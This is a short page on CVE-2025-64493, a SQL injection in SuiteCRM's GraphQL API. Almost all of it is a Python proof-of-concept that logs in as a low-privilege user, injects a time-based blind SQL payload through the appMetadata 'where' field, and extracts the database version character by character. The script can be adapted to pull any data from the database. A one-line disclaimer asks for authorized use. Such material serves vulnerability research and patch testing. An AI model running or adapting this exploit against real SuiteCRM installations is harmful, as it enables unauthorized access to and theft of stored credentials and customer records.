CVE-2025-64493 SuiteCRM GraphQL API SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-64493 PoC - SuiteCRM GraphQL API Time-Based Blind SQL Injection Note: This is a simplified demonstration for security research purposes. Modify and use responsibly with proper authorization. """ import requests import json import time TARGET_URL = "http://target-suitecrm.com/api/graphql" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_auth_token(): """Obtain authentication token via login mutation""" login_mutation = { "query": """ mutation Login($username: String!, $password: String!) { login(username: $username, password: $password) { id sessionToken } } """, "variables": { "username": USERNAME, "password": PASSWORD } } response = requests.post(TARGET_URL, json=login_mutation) data = response.json() return data['data']['login']['sessionToken'] def extract_data(token, sql_payload): """ Execute blind SQL injection via appMetadata operation sql_payload: Time-based injection payload """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } injection_query = { "query": f""" query {{ appMetadata( input: {{ module: "Users" where: "id = '1' AND (SELECT CASE WHEN {sql_payload} THEN SLEEP(5) ELSE 0 END)" }} ) {{ id userName }} }} """ } start_time = time.time() response = requests.post(TARGET_URL, json=injection_query, headers=headers) elapsed = time.time() - start_time return elapsed > 4 # If delay occurred, condition was true def extract_char(token, query, position, char): """Extract a single character using time-based injection""" sql_payload = f"(SELECT SUBSTRING(({query}), {position}, 1) = '{char}')" return extract_data(token, sql_payload) def main(): print("[*] Obtaining authentication token...") token = get_auth_token() print("[+] Token obtained successfully") # Example: Extract database version print("[*] Extracting database version...") db_version = "" charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz._-" for pos in range(1, 50): found = False for char in charset: if extract_char(token, "@@version", pos, char): db_version += char found = True break if not found: break print(f"[*] Current version: {db_version}") print(f"[+] Extracted database version: {db_version}") if __name__ == "__main__": main()